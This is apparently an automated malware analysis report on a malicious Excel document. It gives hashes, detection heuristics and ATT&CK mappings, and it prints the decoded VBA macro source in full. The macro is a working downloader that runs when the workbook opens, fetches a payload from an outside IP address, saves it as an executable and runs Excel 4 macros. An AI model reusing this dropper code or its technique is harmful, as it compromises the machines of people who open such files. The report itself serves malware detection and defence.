Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2524c10586cbcc8a…

MALICIOUS

Office (OLE)

161.4 KB Created: 2019-07-18 19:19:14 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: d7e944a9dc2b8d9da2690869c9926a18 SHA-1: 58b092ac8aa6834d7be732b8ab2836da644a62a1 SHA-256: 2524c10586cbcc8a54d1dfa3f7b131d119f57647e174dd55fb5bbb52f90ffeaf
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1027 Obfuscated Files or Information

The sample is an Excel document containing VBA macros, detected as malicious by ClamAV. The Workbook_Open macro and other heuristics indicate the execution of obfuscated VBA code that uses CreateObject and CallByName to likely download and execute a second-stage payload from the embedded URL http://92.38.135.67/k2. The VBA code also uses ExecuteExcel4Macro, suggesting an attempt to bypass security controls.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7077816-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7077816-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set Class7.Rocky1 = CreateObject(Class7.TextBox1.Caption)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName Class5, "Show", VbMethod
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://92.38.135.67/k2 In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas🔏 SignedVBA project digital signature
Covers VBA source only — not the compiled p-code. A digital signature does not by itself mean the macro is safe.		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 3342 bytes
SHA-256: 0f8d5393f732295ecb858d596155660fa6602c129079ec7d970b367fb929c19b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_open()
On Error Resume Next
CallByName Class5, "Show", VbMethod



End Sub





Attribute VB_Name = "CodeBlock"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub MethodENG()
Dim time

 
 Set Class7.Rocky1 = CreateObject(Class7.TextBox1.Caption)
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(False, ""Release"")"



Set Class7.Valaar1 = CreateObject(Class7.Label2.Tag)

Dim fUP:  fUP = 0
#If FR_9 Then

Dim DirectionComponent_5
Dim DirectionComponent_6
Dim DirectionComponent_7
Dim DirectionComponent_9
Dim DirectionComponent_8: DirectionComponent_8 = 8
#End If
Dim DirectionComponent_12

Dim DirectionComponent_11: DirectionComponent_11 = ""
Dim fDOWN:  fDOWN = 0
fDOWN = 1
fDOWN = 2
fDOWN = 3
fDOWN = 4
End Sub




Attribute VB_Name = "ClaModu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub PublicSub()

CodeBlock.MethodENG


Dim DirectionComponent_4
Dim DirectionComponent_3
Class7.Label5_Click
Class7.Rocky1.Send

With Class7.Valaar1
    .Type = 1
End With
    Class7.Valaar1.Open
With Class7.Valaar1
    .write Class7.Rocky1.responseBody

End With
#If FR_0 Then
    CallByName Class7.Valaar1, "savet" & "ofile", VbMethod, "wrnglr.e" & "" + "xe", 2

#End If

ExecuteExcel4Macro Class7.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(False, ""Fix Marv"")"
End Sub


Attribute VB_Name = "Class7"
Attribute VB_Base = "0{BCDF87D8-10FE-4A45-9037-E1DA98118387}{A67BF4E4-00B4-417B-8495-74F7DD38C327}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Rocky2 As Object
 Public Valaar3 As Object
Public Rocky1 As Object
 Public Valaar2 As Object
Public Rocky3 As Object
 Public Valaar1 As Object


Public Sub Label5_Click()
Dim DirectionComponent_5
Rocky1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
Dim DirectionComponent_6
End Sub

Public Sub S1000()

End Sub
Public Sub frfr4()

End Sub



Attribute VB_Name = "Class5"
Attribute VB_Base = "0{91950FA9-49B3-4930-930C-C2569C5DA979}{FF977004-D6B6-4519-B08E-2136C0F2ABC7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Sub FUnt()
Dim rd1 As New ClaModu
rd1.PublicSub

End Sub

Private Sub UserForm_Initialize()

FUnt
Unload Me
End Sub

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